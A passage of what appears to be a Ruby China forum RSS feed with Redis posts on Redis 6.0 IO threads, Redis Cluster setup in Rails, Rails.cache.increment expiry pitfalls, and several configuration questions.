&lt;img src="https://l.ruby-china.com/photo/2019/09589d33-1089-4e62-9186-4ad2ef458de8.png!large" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;Redis 抽象了一套 AE 事件模型，将 IO 事件和时间事件融入一起，同时借助 epoll 的回调特性，使得 IO 读写都是非阻塞的，实现高性能的网络处理能力。加上 Redis 基于内存的数据处理，这便是“单线程，但却高性能”的核心原因。&lt;/p&gt;

&lt;p&gt;但 IO 数据的读写依然是阻塞的，这也是 Redis 目前的主要性能瓶颈之一，特别是在数据吞吐量特别大的时候，具体情况如下：
&lt;img src="https://l.ruby-china.com/photo/2019/be6d081f-8bc2-41c9-92ef-95ae288d4b72.jpg!large" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;上图的下半部分，当 socket 中有数据时，Redis 会通过系统调用将数据从内核态拷贝到用户态，供 Redis 解析用。这个拷贝过程是阻塞的，术语称作“同步 IO”，数据量越大拷贝的延迟越高，时间消耗也越大，糟糕的是这些操作都是单线程处理的。（写 reponse 时也是一样）&lt;/p&gt;

&lt;p&gt;这是 Redis 目前的瓶颈之一，Redis6.0 引入的“多线程”机制就是对于上诉瓶颈的优化。&lt;/p&gt;

&lt;p&gt;核心思路是，将主线程的 IO 读写任务拆分出来给一组独立的线程执行，使得多个 socket 的读写可以并行化。（命令的执行依然是主线程串行执行）&lt;/p&gt;

&lt;p&gt;核心流程大概如下：
&lt;img src="https://l.ruby-china.com/photo/2019/3e817694-d223-4345-b20d-9dd166c75f6a.png!large" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;流程简述如下：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;主线程获取 socket 放入等待列表&lt;/li&gt;
&lt;li&gt;&lt;p&gt;将 socket 分配给各个 IO 线程（并不会等列表满）&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;主线程阻塞等待 IO 线程读取 socket 完毕&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;主线程执行命令 - 单线程（如果命令没有接收完毕，会等 IO 下次继续）&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;主线程阻塞等待 IO 线程将数据回写 socket 完毕（一次没写完，会等下次再写）&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;解除绑定，清空等待队列&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;有如下特点：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;IO 线程要么同时在读 socket，要么同时在写，不会同时读或写&lt;/li&gt;
&lt;li&gt;IO 线程只负责读写 socket 解析命令，不负责命令处理（主线程串行执行命令）&lt;/li&gt;
&lt;li&gt;IO 线程数可自行配置（&lt;a href="https://github.com/antirez/redis/blob/unstable/src/config.c#L375" rel="nofollow" target="_blank" title=""&gt;目前代码限制上限为 512&lt;/a&gt;，默认为 1(关闭此功能)）&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;经过有心人士的压测，&lt;a href="https://www.chainnews.com/articles/610212461536.htm" rel="nofollow" target="_blank" title=""&gt;目前性能能提高 1 倍以上&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;不过目前有些疑问：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;IO 线程数的设置应该按照怎样的标准设置&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;如果有慢 client 拖慢了整个读写过程怎么办？（主线程在阻塞）(搞清楚这个伪问题，才真正理解 reids 多线程 IO)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;谈下你的观点？&lt;/p&gt;</description>
      <author>early</author>
      <pubDate>Mon, 19 Aug 2019 22:52:11 +0800</pubDate>
      <link>https://ruby-china.org/topics/38957</link>
      <guid>https://ruby-china.org/topics/38957</guid>
    </item>
    <item>
      <title>Redis Cluster 实践</title>
      <description>&lt;h2 id="背景"&gt;背景&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://github.com/redis/redis-rb" rel="nofollow" target="_blank" title=""&gt;redis&lt;/a&gt; 这个 gem 在最新的 4.1 版中开始支持 Redis Cluster。&lt;/p&gt;
&lt;h3 id="开发环境"&gt;开发环境&lt;/h3&gt;
&lt;p&gt;我们需要在开发环境搭建一个 Redis Cluster，最方便快捷的方法是使用 docker 和 docker-compose，并且使用配置好的 image。&lt;/p&gt;

&lt;p&gt;在 docker-compose.yml 中添加下列代码&lt;/p&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;version&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;3'&lt;/span&gt;
&lt;span class="na"&gt;services&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;redis-cluster&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;grokzen/redis-cluster&lt;/span&gt;
    &lt;span class="na"&gt;environment&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
     &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;IP=0.0.0.0&lt;/span&gt;
    &lt;span class="na"&gt;ports&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;7000-7007:7000-7007'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用 &lt;code&gt;docker-compose up -d&lt;/code&gt; 启动服务即可。&lt;/p&gt;
&lt;h3 id="更新代码"&gt;更新代码&lt;/h3&gt;
&lt;p&gt;在 Gemfile 中设置 redis gem 的版本为 4.1&lt;/p&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="n"&gt;gem&lt;/span&gt; &lt;span class="s2"&gt;"redis"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"~&amp;gt; 4.1"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在 application.rb 中修改 session_store 和 cache_store&lt;/p&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="no"&gt;Rails&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;application&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;configure&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
  &lt;span class="c1"&gt;# Redis Session Store (redis-rails Gem)&lt;/span&gt;
  &lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;session_store&lt;/span&gt; &lt;span class="ss"&gt;:redis_store&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;servers: &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="ss"&gt;cluster: &lt;/span&gt;&lt;span class="sx"&gt;%w[redis://127.0.0.1:7000]&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="ss"&gt;expires_in: &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;month&lt;/span&gt;

  &lt;span class="c1"&gt;# Redis Cache Store (redis-rails Gem)&lt;/span&gt;
  &lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;cache_store&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="ss"&gt;:redis_store&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="ss"&gt;cluster: &lt;/span&gt;&lt;span class="sx"&gt;%w[redis://127.0.0.1:7000]&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="c1"&gt;# Redis Cache Store (ActiveSupport)&lt;/span&gt;
  &lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;cache_store&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="ss"&gt;:redis_cache_store&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="ss"&gt;cluster: &lt;/span&gt;&lt;span class="sx"&gt;%w[redis://127.0.0.1:7000]&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在其他地方使用 Redis Cluster&lt;/p&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="n"&gt;redis&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;Redis&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;cluster: &lt;/span&gt;&lt;span class="sx"&gt;%w[redis://127.0.0.1:7000]&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="分片"&gt;分片&lt;/h3&gt;
&lt;p&gt;从单机变成集群之后，数据分片了，分散到不同机器，但是实际需求要求相关联的 &lt;code&gt;key&lt;/code&gt; 分配到相同机器。&lt;/p&gt;

&lt;p&gt;因为业务或者性能问题，我们会使用 Redis 的 pipelined、multi 和 Rails.cache.read_multi，这些场景下都需要 &lt;code&gt;key&lt;/code&gt; 分配到相同机器。&lt;/p&gt;

&lt;p&gt;但是 Redis Cluster 的分片方案是服务端提供分片，规则不是客户端控制的。&lt;/p&gt;

&lt;p&gt;针对这些场景 Redis Cluster 提供了 &lt;a href="https://redis.io/topics/cluster-spec#keys-hash-tags" rel="nofollow" target="_blank" title=""&gt;Keys hash tags&lt;/a&gt; 的功能，简单来说是：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;当一个 key 包含 {} 的时候，就不对整个 key 做 hash，而仅对 {} 包括的字符串做 hash。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="n"&gt;redis&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;Redis&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;cluster: &lt;/span&gt;&lt;span class="sx"&gt;%w[redis://127.0.0.1:7000]&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;redis&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;mget&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'key1'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'key2'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;#=&amp;gt; Redis::CommandError (CROSSSLOT Keys in request don't hash to the same slot)&lt;/span&gt;

&lt;span class="n"&gt;redis&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;mget&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'{key}1'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'{key}2'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;#=&amp;gt; [nil, nil]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="总结"&gt;总结&lt;/h3&gt;
&lt;p&gt;本文只是一个简单的例子，不能在生产环境中直接使用。&lt;/p&gt;

&lt;p&gt;在生产环境需要考虑 Redis 的各个客户端，同时要考虑数据迁移和兼容的问题，升级到 Redis Cluster 要非常谨慎和细心。&lt;/p&gt;
&lt;h3 id="参考资料："&gt;参考资料：&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/redis/redis-rb/wiki/Cluster-mode" rel="nofollow" target="_blank" title=""&gt;Cluster mode&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Grokzen/docker-redis-cluster" rel="nofollow" target="_blank" title=""&gt;Grokzen/docker-redis-cluster&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://made.livesense.co.jp/entry/2018/10/17/135245" rel="nofollow" target="_blank" title=""&gt;Ruby の Redis Client Library を Cluster Mode に対応させた話&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/redis/redis-rb/pull/716" rel="nofollow" target="_blank" title=""&gt;Add Redis Cluster support&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.text.wiki/2015/09/20/redis-hash-tag.html" rel="nofollow" target="_blank" title=""&gt;Redis 技巧：分片技术和 Hash Tag&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;原文转自博客 &lt;a href="https://www.tuliang.org/redis-cluster-shi-jian/" rel="nofollow" target="_blank" title=""&gt;Redis Cluster 实践&lt;/a&gt;&lt;/p&gt;</description>
      <author>tuliang</author>
      <pubDate>Thu, 17 Jan 2019 20:26:59 +0800</pubDate>
      <link>https://ruby-china.org/topics/38014</link>
      <guid>https://ruby-china.org/topics/38014</guid>
    </item>
    <item>
      <title>Redis 连接异常，用的是阿里云云数据库 Redis 版</title>
      <description>&lt;p&gt;在 config/initalizers/redis.rb 中链接方式&lt;/p&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="no"&gt;Rails&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;production?&lt;/span&gt;
    &lt;span class="vg"&gt;$redis&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;Redis&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;:host&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="s1"&gt;' XXXX'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:password&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"XXXX"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:port&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;6379&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;db: &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;
    &lt;span class="vg"&gt;$redis&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;Redis&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;:host&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'localhost'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:port&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;6379&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;db: &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;出现异常 Redis::CommandError (ERR invalid password):&lt;/p&gt;

&lt;p&gt;actioncable 中的 cable.yml   中 redis 配置&lt;/p&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="ss"&gt;development:
  adapter: &lt;/span&gt;&lt;span class="n"&gt;redis&lt;/span&gt;
  &lt;span class="ss"&gt;url: &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sx"&gt;%= ENV.fetch("REDIS_URL") { "redis://localhost:6379/1" } %&amp;gt;
  channel_prefix: friend_production

test:
  adapter: async

production:
  adapter: redis
  url: &amp;lt;%=&lt;/span&gt; &lt;span class="no"&gt;ENV&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"REDIS_URL"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s2"&gt;"redis://XXXX:6379"&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;%&amp;gt;&lt;/span&gt;
  &lt;span class="ss"&gt;password: &lt;/span&gt;&lt;span class="s1"&gt;'XXXXXX'&lt;/span&gt;
  &lt;span class="ss"&gt;channel_prefix: &lt;/span&gt;&lt;span class="n"&gt;friend_production&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;actioncable 能链接上 redis&lt;/p&gt;</description>
      <author>bighuzi</author>
      <pubDate>Wed, 11 Jul 2018 15:13:05 +0800</pubDate>
      <link>https://ruby-china.org/topics/37135</link>
      <guid>https://ruby-china.org/topics/37135</guid>
    </item>
    <item>
      <title>注意 Rails.cache.increment 设定有效期的问题</title>
      <description>&lt;p&gt;&lt;a href="http://api.rubyonrails.org/classes/ActiveSupport/Cache/MemCacheStore.html#method-i-increment" rel="nofollow" target="_blank" title=""&gt;Rails.cache.increment&lt;/a&gt; 时常会被我们用来做一些统计追加动作，也会时常用在一些需要做频率限制的场景。&lt;/p&gt;

&lt;p&gt;例如：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;API 频率限制；&lt;/li&gt;
&lt;li&gt;登录密码错误锁定限制；&lt;/li&gt;
&lt;li&gt;发送验证码频率...&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;再比如最近 Ruby China 添加的每小时发帖量限制 &lt;a href="https://github.com/ruby-china/homeland/blob/83a33b425c59c4266bbcaae43d6402d30fe4c820/app/models/topic/rate_limit.rb#L42" rel="nofollow" target="_blank" title=""&gt;Topic::RateLimit&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;我们一般会有这样的用法：&lt;/p&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="c1"&gt;# 期望这个锁定 1 小时有效&lt;/span&gt;
&lt;span class="no"&gt;Rails&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;cache&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;increment&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_rate_limit_hour_key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;expires_in: &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;hour&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="no"&gt;Rails&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;cache&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_rate_limit_hour_key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt; 
  &lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但你可能根本不会注意到这里 &lt;code&gt;Rails.cache.increment&lt;/code&gt; 的 &lt;code&gt;expires_in&lt;/code&gt; 是不支持的（Rails 5.2 对 &lt;code&gt;:mem_cache_store&lt;/code&gt; 支持了 &lt;a href="https://github.com/rails/rails/commit/b22ee64b5b30c6d5039c292235e10b24b1057f6d#diff-44aa07f65459835fba75ab75fe3863ef" rel="nofollow" target="_blank" title=""&gt;rails/rails@b22ee64&lt;/a&gt;)，也就是说你每次传递的 &lt;code&gt;expires_in&lt;/code&gt; 参数基本被忽略了。&lt;/p&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="n"&gt;irb&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="no"&gt;Rails&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;cache&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;increment&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"foo"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;expires_in: &lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="n"&gt;irb&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="no"&gt;Rails&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;cache&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ttl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"foo"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="c1"&gt;# 根本没设置进去&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;上面的场景会一直处于锁定状态，不会过期。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;:redis_store&lt;/code&gt; 的方式，我已经提交 PR 支持了：&lt;a href="https://github.com/rails/rails/pull/33254" rel="nofollow" target="_blank" title=""&gt;rails/rails#33254&lt;/a&gt;，但在使用的时候仍然需要注意这个陷阱。这个改动估计要到 Rails 6 才会带出来。&lt;/p&gt;

&lt;p&gt;实际上这个也不算是个 Bug，目前 Redis 的 &lt;a href="https://redis.io/commands/incrby" rel="nofollow" target="_blank" title=""&gt;incrby&lt;/a&gt;, &lt;a href="https://redis.io/commands/decrby" rel="nofollow" target="_blank" title=""&gt;decrby&lt;/a&gt; 并没有 &lt;code&gt;expire&lt;/code&gt; 参数的支持，所以一直没实现。但大家的使用的时候会条件反射的把参数当成 &lt;code&gt;write&lt;/code&gt; 函数的参数来用。&lt;/p&gt;</description>
      <author>huacnlee</author>
      <pubDate>Fri, 29 Jun 2018 18:25:56 +0800</pubDate>
      <link>https://ruby-china.org/topics/37068</link>
      <guid>https://ruby-china.org/topics/37068</guid>
    </item>
    <item>
      <title>两个项目怎么访问同一个 Redis</title>
      <description>&lt;p&gt;两个项目，一个 rails WEB，另一个是 python 的爬虫项目。
现在 python 的爬虫项目的管理功能移植到 rails 项目中，python 项目中只留爬虫功能，python 项目的爬取是通过把爬取内容 push 到 redis 的一个队列中控制的
我 rails 项目怎么访问到 python 的 redis？？？
redis 新手真的不知道怎么办了，谢谢各位🙏🙏🙏🙏🙏🙏
PS：python 没有用 sidekiq 这些消息队列，仅仅是把行动 push 到各个 redis 的列表中，各个线程去读取 redis 的列表&lt;/p&gt;</description>
      <author>mutiple</author>
      <pubDate>Tue, 15 Aug 2017 10:52:16 +0800</pubDate>
      <link>https://ruby-china.org/topics/33829</link>
      <guid>https://ruby-china.org/topics/33829</guid>
    </item>
    <item>
      <title>Redis 删除 key 后，内存何时回收？</title>
      <description>&lt;p&gt;通过命令批量删除 redis key 后，内存一直维持不变&lt;/p&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;redis-cli -h 127.0.0.1  -a 123456 KEYS 'test:*'|xargs redis-cli -h 127.0.0.1 -a 123456 DEL
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;内存何时回收？&lt;/p&gt;</description>
      <author>yangxing_star</author>
      <pubDate>Tue, 30 May 2017 08:07:29 +0800</pubDate>
      <link>https://ruby-china.org/topics/33096</link>
      <guid>https://ruby-china.org/topics/33096</guid>
    </item>
    <item>
      <title>如何配置 Redis 读写分离？</title>
      <description>&lt;p&gt;有 A,B,C 三台服务器，上面分别有 redis1(主服务器),redis2(从服务器),redis3(从服务器)，B,C 两台服务器的缓存 write 到 A 服务器的 redis1，再由 A 服务器 redis1 同步到 redis2 和 redis3，请教大家有没有什么方式在 rails 里面配置成读写分离&lt;/p&gt;</description>
      <author>fengzhilian818</author>
      <pubDate>Wed, 26 Apr 2017 18:17:24 +0800</pubDate>
      <link>https://ruby-china.org/topics/32876</link>
      <guid>https://ruby-china.org/topics/32876</guid>
    </item>
    <item>
      <title>如何在 Rails 中配置 Redis 集群?</title>
      <description>&lt;p&gt;我使用 redis gem 包，从 redis 文档中看到提供 sentinel 的支持，其中其配置如下 (link:&lt;a href="https://github.com/redis/redis-rb" rel="nofollow" target="_blank"&gt;https://github.com/redis/redis-rb&lt;/a&gt;)&lt;/p&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="no"&gt;SENTINELS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="ss"&gt;:host&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"127.0.0.1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:port&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;26380&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
             &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="ss"&gt;:host&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"127.0.0.1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:port&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;26381&lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;

&lt;span class="n"&gt;redis&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;Redis&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;:url&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"redis://mymaster"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:sentinels&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="no"&gt;SENTINELS&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:role&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="ss"&gt;:master&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是根据上述配置，返回的 redis 是 nil，不知道哪里有问题，还望各位大牛指教？&lt;/p&gt;</description>
      <author>lzm420241</author>
      <pubDate>Mon, 20 Jun 2016 18:45:00 +0800</pubDate>
      <link>https://ruby-china.org/topics/30327</link>
      <guid>https://ruby-china.org/topics/30327</guid>
    </item>
    <item>
      <title>Redis 使用及源码的一些疑惑</title>
      <description>&lt;p&gt;最近准备使用 sidekiq 做异步队列，sidekiq 又基于 Redis，我对于 Redis 并不是很熟悉，现在遇到一些问题想请教一下大家：&lt;/p&gt;

&lt;p&gt;1.我们现在已经使用了一个 Redis 用于存储 session，以及同系统其他组件打交道，那 sidekiq 的 Redis 是需要一个新的 Redis 呢，还是使用已有的 Redis 呢，我担心会不会有一些冲突。&lt;/p&gt;

